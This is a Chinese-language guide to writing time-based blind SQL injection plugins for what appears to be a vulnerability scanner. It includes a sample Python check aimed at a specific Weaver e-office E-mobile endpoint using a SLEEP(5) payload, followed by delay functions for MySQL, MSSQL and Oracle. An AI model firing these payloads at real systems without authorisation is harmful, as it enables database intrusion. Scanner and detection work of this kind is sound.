时间盲注类插件
这一类的注入在返回页面中没有回显,但可以根据返回页面的结果判断构造的SQL条件语句的真假性。
实例
范例插件:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service, arg):
if service == fingerprint.weaver_e_office:
return True, arg
def time_sql(arg):
payload = "%20AND%20SLEEP%285%29"
url = arg+"E-mobile/source_page.php?pagediff=email=9"
start_time = time.time()
ture_code, head, res, final_url, log= hackhttp.http(url)
ture_time = time.time()- start_time
start_time = time.time()
false_code, head, res, final_url, log= hackhttp.http(url+payload,timeout=30)
false_time = time.time()- start_time
if false_code == 200 and ture_code ==200 and false_time -ture_time >4:
return url,log,True
def audit(arg):
check = True
for i in xrange(3):
if check:
res = time_sql(arg)
check = check and res[2]
if check:
security_hole(res[0], log=res[1])
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.weaver_e_office, "http://localhost/")[1])
MySQL 数据库
方法:使用 sleep()
函数达到延时。
其 SQL 语句原型类似:
SELECT IF(1=1, sleep(5), "1");
SELECT IF(1=2, sleep(5), "1");
MSSQL 数据库
方法:使用 waitfor delay
达到延时。
其 SQL 语句原型类似:
waitfor delay '0:0:5'
Oracle 数据库
方法:receive_message
函数用于接收管道消息,并将接收到的消息写入到本地消息缓冲区。当接收完管道信息之后,会删除管道消息,管道消息只能被接收一次。
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
receive_message
语法:
dbms_pipe.receive_message(pepename in varchar2,timeout in integer default maxwait) return integer;
其中,返回 0 接收成功,返回 1 超时,返回 2 本地缓冲区不能容纳管道消息,返回 3 发生中断。